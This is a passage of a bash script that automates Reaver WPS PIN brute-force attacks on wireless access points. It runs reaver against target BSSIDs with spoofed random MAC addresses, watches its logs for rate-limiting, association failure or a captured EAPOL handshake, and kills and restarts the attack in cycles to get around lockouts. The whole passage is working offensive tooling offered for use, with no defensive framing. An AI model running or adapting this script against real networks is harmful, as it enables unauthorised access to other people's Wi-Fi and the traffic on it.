if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME8-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME8-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP8 (ESSID: $NMEWARN8)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME8-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP8 (ESSID: $NMEWARN8)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R8 == y || $USE_R8 == Y ]] && [[ $USE_LONG8 == n || $USE_LONG8 == N ]] && [[ $USE_PIN8 == y || $USE_PIN8 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME8"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL8"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP8"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX8" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY8"
echo -e "$info Reaver live time                   = $yel$LIVE8 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME8-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL8 -b $TARGETAP8 -vv -x 60 -r $RX8:$RY8 --pin=$WPS_PIN8 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME8-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE8-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME8-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME8-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP8 (ESSID: $NMEWARN8)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME8-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP8 (ESSID: $NMEWARN8)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R8 == n || $USE_R8 == N ]] && [[ $USE_LONG8 == y || $USE_LONG8 == Y ]] && [[ $USE_PIN8 == y || $USE_PIN8 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME8"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL8"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP8"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE8 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME8-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL8 -b $TARGETAP8 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN8 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME8-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE8-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME8-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME8-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP8 (ESSID: $NMEWARN8)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME8-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP8 (ESSID: $NMEWARN8)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R8 == y || $USE_R8 == Y ]] && [[ $USE_LONG8 == y || $USE_LONG8 == Y ]] && [[ $USE_PIN8 == y || $USE_PIN8 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME8"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL8"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP8"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX8" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY8"
echo -e "$info Reaver live time                   = $yel$LIVE8 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME8-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL8 -b $TARGETAP8 -r $RX8:$RY8 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN8 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME8-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE8-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME8-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME8-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP8 (ESSID: $NMEWARN8)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME8-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP8 (ESSID: $NMEWARN8)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE8 == n ] || [ $KEEP_FILE8 == N ]; then

          rm VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R9 == n || $USE_R9 == N ]] && [[ $USE_LONG9 == n || $USE_LONG9 == N ]] && [[ $USE_PIN9 == n || $USE_PIN9 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME9"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL9"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP9"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE9 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME9-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL9 -b $TARGETAP9 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME9-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE9-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME9-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME9-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP9 (ESSID: $NMEWARN9)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME9-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP9 (ESSID: $NMEWARN9)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R9 == y || $USE_R9 == Y ]] && [[ $USE_LONG9 == n || $USE_LONG9 == N ]] && [[ $USE_PIN9 == n || $USE_PIN9 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME9"
echo -e "$info Monitor                            = $yel$MON"
